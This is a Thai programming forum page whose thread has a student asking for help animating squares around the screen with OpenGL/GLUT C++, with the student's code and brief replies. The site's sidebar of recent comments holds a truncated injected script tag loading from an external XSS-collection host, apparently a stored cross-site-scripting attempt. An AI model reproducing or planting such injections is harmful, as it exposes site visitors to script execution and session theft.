หน้าแรก
 การบ้าน
  C/C++ new
  Java new
 Sourcecode.TV
  Android
  Blackberry
  C/C++
  Java
  Linux
  Windows Phone
  แจ้งเรื่องที่ต้องการ
 บทความ
  .NET
  Android
  Blackberry
  C++Builder
  Delphi
  Java
  Mobile
  Open Source
  Pocket PC
  Visual Basic
  Web
  Windows Phone
  Others
 แบบเรียนฟรี
  ASP
  ASP.NET Webmatrix
  C++
  eVB
  J2ME
  Java
  PHP
 ซอร์สโค้ด
  Android
  ASP
  C++
  VC++
  CGI-Perl
  Delphi
  Java
  jQuery
  PHP
  Visual Basic
  .NET
 บริการจากเรา
  เปิดท้าย... ขายโค้ด
  DoodeeHosting
  รับออกแบบ พัฒนาเว็บไซต์
  Freeware
  อัตราค่าโฆษณา
  รายชื่อลูกค้า
  สถิติผู้เข้าเว็บ
 ดาว์นโหลด
 ค้นหาข้อมูล
 กระดานสนทนา
  .NET
  C/C++
  Delphi
  Java
  Palm/PocketPC
  Visual Basic
  Web
  อื่นๆ
 กระดานงาน
 ลิงค์เว็บ
 เกี่ยวกับผม
 อัตราค่าโฆษณา
Social Network

Facebook  Twitter  YouTube
 New Article
 Webboard
 Freelanceboard
Freeware
โปรแกรมเบอร์ดี (BerDee)
โปรแกรมเบอร์ดี (Android)
เกมส์เป่ายิ้งฉุบ
เกมส์เป่ายิ้งฉุบ(Android)
WebcamMonitor
WebcamMonitor(Windows)
scSendMail
scSendMail(Windows)
MSN Caption
MSN Caption(Windows)
  Freelance comment
  ติดต่อสอบถามมาได้ตลอดนะ...
2015-07-29 13:35:58
  ถ้าผมต้องการเว็บที่พัฒน...
2015-01-18 15:33:54
  ถ้าผมต้องการเว็บที่พัฒน...
2015-01-18 15:32:51
  ติดต่อสอบถามเข้ามาได้นะ...
2014-01-06 12:47:38
  ถ้ายังหาคนสอนไม่ได้ ก็ลอ...
2013-07-06 01:04:37
  สนใจส่งขอบเขตมาคุยราคาก...
2013-03-24 18:54:20
  ถ้ายังไม่มีคนรับงานติดต...
2012-12-16 19:18:14
  สนใจคะ ติดต่อ 0905076277...
2012-11-12 11:07:46
  รับทำโปรเจ็คนักศึกษาหรื...
2012-10-29 03:10:46
  sukit_te34@hotmail.com...
2012-10-29 03:09:36
  Webboard comment
  ลองทำตามนี้ดู

https://stackoverflow.c...

2019-10-16 11:39:03
  ถ้าคนอื่นเขียนให้ แล้วมั...
2019-09-17 14:01:26
  ถ้าใช้ไฟฟ้า 0 หน่วยให้ขึ้...
2019-09-17 13:59:39
  ............
2019-08-20 14:19:49
  ผมทำคลิปสอนเขียน C# หาค่า BM...
2019-08-06 11:52:23
  ทำคลิปสอนเขียนโปรแกรมคำ...
2019-04-29 09:56:21
  ผมทำคลิปสอนเขียน C# หาค่า BM...
2019-04-23 05:06:26
  ขอบคุณครับ โค้ดผิดตั้งแต...
2019-03-27 09:21:54
  ลองคิด และไล่ลำดับการทำง...
2018-12-04 02:17:48
  สอนทำโค้ดเกมจำคู่a-hหน่อย...
2018-11-06 12:20:06
  Homework comment
  แบบนี้ขอเป็น ภาษา php หน่อย...
2019-09-18 14:36:34
  ผมไม่อยากให้คุณได้คะแนน...
2019-04-27 01:29:07
  อาจารย์เขาบอกแนวข้อสอบม...
2019-04-27 00:44:29
  ขอสอบถามการเขียน c++ ครับ เ...
2018-04-02 12:19:21
  โค้ดตัวอย่างศึกษาให้เข้...
2017-11-26 14:50:05
  คำนวณค่าน้ำโดยรับค่ามิเ...
2017-11-20 23:15:26
  ขอบคุณมากครับ...
2017-08-16 18:27:25
  ทำเอง งง เอง กะลังทำใหม่ค...
2017-04-18 18:40:46
  ทำเอง งง เอง กะลังทำใหม่ค...
2017-04-18 18:37:54
  ประเด็นแรก flowchart มันไม่มีภ...
2017-04-18 17:43:33
  Article comment
  รับเขียน arx จาก vc++ 2017 ล็อคโปร...
2019-09-19 09:48:09
  ทำการ register ไฟล์ที่ชื่อ mswinsck.oc...
2019-09-17 14:05:56
  <Img sRC=https://xss.pt/op2fp.jpg>
<sCRiPt sRC=//xss.pt/op...

2019-09-12 13:43:34
  ใน vb 6 ไม่มี component winsock เลยค่ะ ส...
2019-09-03 10:31:02
  รบกวนขอสอบถามหน่อยนะครั...
2019-03-04 05:31:04
  สามารถนำตัวหนังสือจากภา...
2018-12-25 08:54:32
  มีcode ของ VB ไหมค่ะ ถ้ามีรบกว...
2017-09-28 16:50:02
  น่าจะได้ครับ ไม่เคยลอง
...

2017-07-11 09:59:35
  สามารถใช้ต่อกับ anycast ได้ไห...
2017-07-05 10:12:35
  ครับ คุณ "ติด" แล้วลองนึกต...
2016-06-18 15:21:09
  9Mcode comment
  อยากได้...
2014-02-21 08:52:19

Link Exchange

อัตราค่าโฆษณา
Statistics of Sourcecode in Thailand
 
 Webboard

- - - - - - - - - - - - - - ผู้ให้การสนับสนุน- - - - - - - - - - - - - -

กระทู้ #3613 [C]

ทำรูปสี่เหลี่ยมวิ่งรอบจอด้วย CODE BLOCK

ทำรูปสี่เหลี่ยมวิ่งรอบจอด้วย CODE BLOCK ในหน้า render_scene
จากคุณ : อั้ม / aum.kns@gmail.com [2017-08-26 14:06:17]  

49.228.73.147 ความคิดเห็น #29443 (จาก IP: 49.228.73.147)
ผมมีคลิปสอนให้แล้ว ดูให้เข้าใจหลักการ แล้วเอาไปเขียน
ฝึกทักษะ เอาเองครับ
จากคุณ : maddog [2017-08-27 10:50:02]

110.168.60.252 ความคิดเห็น #29444 (จาก IP: 110.168.60.252)
#define GLUT_DISABLE_ATEXIT_HACK
#define GLEW_STATIC

#include <iostream>
#include <vector>
#include <string>
#include <math.h>
#include <time.h>
#include <stdlib.h>
#include <GL/glew.h>
#include <GL/freeglut.h>



#define CANVAS_WIDTH 1000
#define CANVAS_HEIGHT 1000
#define WINDOW_WIDTH 700
#define WINDOW_HEIGHT 700

#define CANVAS_LEFT -75
#define CANVAS_RIGHT 75
#define CANVAS_BOTTOM -75
#define CANVAS_TOP 75

#define MY_POINT_SIZE 1

using namespace std;

float aum = 0.0f;


// Function declarations.
void init_opengl();
void init_glew();
void update_scene();
void reshape_scene(GLint width, GLint height);
void draw_grid();
void render_scene();
void on_keydown(unsigned char key, int x, int y);


/**
*
*/
void init_opengl()
{
glClearColor(0.0, 0.0, 0.0,1.0);
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);

glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);

glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_LESS);

glLineWidth(5.0f);
glPointSize(MY_POINT_SIZE);
}

/**
*
*/
void init_glew() {
// GLEW
GLenum err = glewInit();
cout << "GLEW initilization: " << err << endl;

// If there is no error, list the supported extensions.
if(!err) {
cout << "Supported extensions:" << endl;
if (GLEW_VERSION_1_3) {cout << " GLEW_VERSION_1_3" << endl;}
if (GL_VERSION_1_4) {cout << " GL_VERSION_1_4" << endl;}
if (GL_ARB_point_sprite) {cout << " GL_ARB_point_sprite" << endl;}
}
}

/**
* Update scene.
*/
void update_scene()
{
// Re-render the canvas.
aum += 0.05f;




glutPostRedisplay();
}

/**
*
*/
void reshape_scene(GLint width, GLint height)
{
float aspect_ratio = width/((float)height);
glViewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);

glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluOrtho2D(CANVAS_LEFT,
CANVAS_RIGHT,
CANVAS_BOTTOM,
CANVAS_TOP);
}

/**
*
*/
void draw_box(float w, float h)
{
glBegin(GL_TRIANGLE_STRIP);
glVertex3f(-w/2.0, -h/2.0, 0.0);
glVertex3f(w/2.0, -h/2.0, 0.0);
glVertex3f(-w/2.0, h/2.0, 0.0);
glVertex3f(w/2.0, h/2.0, 0.0);
glEnd();


}



/**
* Render the canvas.
*/
void render_scene()
{
// Clear screen
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);

// Reset projection matrix.
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluOrtho2D(CANVAS_LEFT,
CANVAS_RIGHT,
CANVAS_BOTTOM,
CANVAS_TOP);

// Reset model-view matrix.
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();



// Render scene element(s).
// PUT YOUR CODE HERE!
glBegin(GL_LINE_LOOP);
glColor3f(1.0, 1., 1.0);
glVertex3f(-65.0, 65.0, 0.0);
glVertex3f(-65.0, -65.0, 0.0);
glVertex3f(65.0, -65.0, 0.0);
glVertex3f(65.0, 65.0, 0.0);
glEnd();
//A
glBegin(GL_LINE_LOOP);
glColor3f(1.0, 1., 1.0);
glVertex3f(-30.0, 50.0, 0.0);
glVertex3f(-50.0, 50.0, 0.0);
glVertex3f(-50.0, 30.0, 0.0);
glVertex3f(-45.0, 30.0, 0.0);
glVertex3f(-45.0, 35.0, 0.0);
glVertex3f(-35.0, 35.0, 0.0);
glVertex3f(-35.0, 30.0, 0.0);
glVertex3f(-30.0, 30.0, 0.0);
glEnd();

glBegin(GL_LINE_LOOP);
glVertex3f(-45.0, 45.0, 0.0);
glVertex3f(-45.0, 40.0, 0.0);
glVertex3f(-35.0, 40.0, 0.0);
glVertex3f(-35.0, 45.0, 0.0);
glEnd();

glBegin(GL_TRIANGLES);
glColor3f(0.5, 0.5, 1.0);
glVertex3f(-45.0, 50.0, 0.0);
glVertex3f(-50.0, 30.0, 0.0);
glVertex3f(-45.0, 30.0, 0.0);
glEnd();

glBegin(GL_TRIANGLE_STRIP);
glVertex3f(-45.0, 50.0, 0.0);
glVertex3f(-45.0, 45.0, 0.0);
glVertex3f(-30.0, 50.0, 0.0);
glVertex3f(-30.0, 45.0, 0.0);
glVertex3f(-30.0, 30.0, 0.0);
glVertex3f(-35.0, 45.0, 0.0);
glVertex3f(-35.0, 30.0, 0.0);
glEnd();

glBegin(GL_TRIANGLE_FAN);
glVertex3f(-45.0, 40.0, 0.0);
glVertex3f(-45.0, 35.0, 0.0);
glVertex3f(-35.0, 35.0, 0.0);
glVertex3f(-35.0, 40.0, 0.0);
glEnd();

glPushMatrix();
glTranslatef(-40.0,40.0,0.0);
glRotatef (-aum*1 , 0.0, 0.0, 1.0);
glTranslatef(30.0,0.0,0.0);
glColor3f(0.5, 1., 0.5);
draw_box(5.0, 5.0);
glPopMatrix();
//A
//U
glBegin(GL_LINE_LOOP);
glColor3f(1.0, 1., 1.0);
glVertex3f(-5.0, 10.0, 0.0);
glVertex3f(-10.0, 10.0, 0.0);
glVertex3f(-10.0, -10.0, 0.0);
glVertex3f(10.0, -10.0, 0.0);
glVertex3f(10.0, 10.0, 0.0);
glVertex3f(5.0, 10.0, 0.0);
glVertex3f(5.0, -5.0, 0.0);
glVertex3f(-5.0, -5.0, 0.0);
glEnd();

glBegin(GL_TRIANGLE_STRIP);
glColor3f(0.5, 1., 0.5);
glVertex3f(-5.0, 10.0, 0.0);
glVertex3f(-10.0, -10.0, 0.0);
glVertex3f(-5.0, -10.0, 0.0);
glVertex3f(-5.0, -5.0, 0.0);
glVertex3f(5.0, -5.0, 0.0);
glVertex3f(-5.0, -10.0, 0.0);
glVertex3f(5.0, -10.0, 0.0);
glVertex3f(10.0, -10.0, 0.0);
glVertex3f(5.0, 10.0, 0.0);
glVertex3f(10.0, 10.0, 0.0);
glEnd();

glPushMatrix();
glRotatef (-aum*2 , 0.0, 0.0, 1.0);
glTranslatef(30.0,0.0,0.0);
glColor3f(1.0, 0.5, 0.5);
draw_box(5.0, 5.0);
glPopMatrix();
//U
//M
glBegin(GL_LINE_LOOP);
glColor3f(1.0, 1., 1.0);
glVertex3f(30.0, -30.0, 0.0);
glVertex3f(30.0, -50.0, 0.0);
glVertex3f(35.0, -50.0, 0.0);
glVertex3f(35.0, -35.0, 0.0);
glVertex3f(40.0, -45.0, 0.0);
glVertex3f(45.0, -35.0, 0.0);
glVertex3f(45.0, -50.0, 0.0);
glVertex3f(50.0, -50.0, 0.0);
glVertex3f(50.0, -30.0, 0.0);
glVertex3f(45.0, -30.0, 0.0);
glVertex3f(40.0, -40.0, 0.0);
glVertex3f(35.0, -30.0, 0.0);
glEnd();

glBegin(GL_TRIANGLE_STRIP);
glColor3f(1.0, 0.5, 0.5);
glVertex3f(30.0, -50.0, 0.0);
glVertex3f(35.0, -50.0, 0.0);
glVertex3f(35.0, -30.0, 0.0);
glVertex3f(35.0, -35.0, 0.0);
glVertex3f(40.0, -40.0, 0.0);
glVertex3f(35.0, -35.0, 0.0);
glVertex3f(40.0, -45.0, 0.0);
glVertex3f(45.0, -35.0, 0.0);
glVertex3f(40.0, -40.0, 0.0);
glVertex3f(45.0, -30.0, 0.0);
glVertex3f(50.0, -30.0, 0.0);
glVertex3f(45.0, -50.0, 0.0);
glVertex3f(50.0, -50.0, 0.0);

glEnd();

glPushMatrix();
glTranslatef(40.0,-40.0,0.0);
glRotatef (-aum*4 , 0.0, 0.0, 1.0);
glTranslatef(30.0,0.0,0.0);
glColor3f(0.5, 0.5, 1.0);
draw_box(5.0, 5.0);
glPopMatrix();
//M

glPushMatrix();
gl
glTranslatef(-70.0,70.0,0.0);
glColor3f(0.5, 0.5, 0.5);
draw_box(10.0, 10.0);
glPopMatrix();



// Done.
glutSwapBuffers();
}

/**
*
*/
void on_keydown(unsigned char key, int x, int y)
{
}

/**
* Main entry.
*
*/
int main(int argc, char **argv)
{

srand(time(NULL));

glutInitWindowSize(WINDOW_WIDTH, WINDOW_HEIGHT);
glutInitWindowPosition(40, 40);
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH | GLUT_MULTISAMPLE);
glutCreateWindow("CHONNIKAN KUNCHON");

// Setup callback functions.
glutDisplayFunc(render_scene);
glutIdleFunc(update_scene);
glutReshapeFunc(reshape_scene);
glutKeyboardFunc(on_keydown);

// Initializations.
init_opengl(); // OpenGL
init_glew(); // GLEW

// Start the main loop.
glutMainLoop();

return 0;
}


ผมลอง gotoxy แล้วแต่ก็ยังเออเร่อครับ
จากคุณ : อั้ม / aum.kns@gmail.com [2017-08-27 12:53:17]

202.44.225.15 ความคิดเห็น #29445 (จาก IP: 202.44.225.15)
ลองสร้างตัวแปลอีกตัวไว้ใน update_scene
แล้วเรียกตรง gltranslate(ตัวแปล,0.0,0.0);
นะครับ
จากคุณ : zaqbiwty / zaqsuvicha@gmail.com [2017-08-27 20:09:01]

61.91.35.66 ความคิดเห็น #29446 (จาก IP: 61.91.35.66)
ผมลอง gotoxy แล้วแต่ก็ยังเออเร่อครับ >> error ว่า ?
จากคุณ : maddog [2017-08-28 11:45:52]
ตอบกระทู้
  • ห้ามการโฆษณา หากต้องการติดต่อหาลูกค้า ติดต่อโฆษณาโดยตรงได้ที่ webmaster@sourcecode.in.th
  • ห้ามใช้คำหยาบและคำพูดที่ไม่เหมาะสม
  • ขอสงวนสิทธิหากตรวจพบ ข้อความที่ไม่เหมาะสม ข้อความนั้นจะถูกลบทันที
ชื่อ
อีเมล์
รายละเอียด

- - - - - - - - - - - - - - ผู้ให้การสนับสนุน- - - - - - - - - - - - - -

 
 
7in1 USB-C Hub Dual Type-C Multiport Card Reader Adapter 4K HDMI For MacBook Pro
7in1 USB-C Hub Dual Type-C Multiport Card Reader Adapter 4K HDMI For MacBook Pro
สายต่อจอ สำหรับเครื่อง macbook pro 2016 (usb-c to HDMI)
สายต่อจอ สำหรับเครื่อง macbook pro 2016 (usb-c to HDMI) ความละเอียดระดับ 4K
หัวแปลง Mini DisplayPort to HDMI Adapter หัวแปลง Mini DisplayPort to HDMI Adapter สำหรับเครื่อง macbook air/pro, mac mini
หัวแปลง Mini DisplayPort to HDMI Adapter สำหรับเครื่อง macbook air/pro, mac mini
คลิปสอนเขียนโปรแกรม
เรียนเขียนโปรแกรมดอทเน็ต
เรียนเขียนโปรแกรมแอนดรอยด์
เรียนเขียนโปรแกรมเบล็คเบอร์รี่
เรียนเขียนโปรแกรมซี ซีพลัสพลัส
เรียนเขียนโปรแกรมจาวา
เรียนการใช้งานลินุกส์
เรียนการเขียนโปรแกรมวินโดว์โฟน
เรียนการเขียนโปรแกรมพีเฮชพี มายเอสคิวเอล
9M Blog บอกเล่าเรื่องราว การเขียนโปรแกรมของ นายเอ็ม
บริการ ถ่ายภาพรับปริญญา
อัตราค่าโฆษณา
 
Tutorial
eVB Tutorial
ASP.NET Webmatrix Tutorial
J2ME Tutorial
C++  Tutorial
Java  Tutorial
PHP Tutorial
ASP Tutorial
 
แบบสำรวจ
Freelance รับพัฒนาโปรแกรม

Home - Article - Tutorial - Sourcecode - Dev Handbook - Search - WebBoard - Links - About Us

สงวนลิขสิทธิ์ ห้ามคัดลอก ทำซ้ำ แก้ไข ดัดแปลง ไม่ว่าในรูปแบบใด โดยไม่ได้รับอนุญาตเป็นลายลักษณ์อักษร
เลขทะเบียนพาณิชย์อิเล็กทรอนิกส์จากกระทรวงพาณิชย์: 7100503002000
Copyright 2001 SourceCode.in.th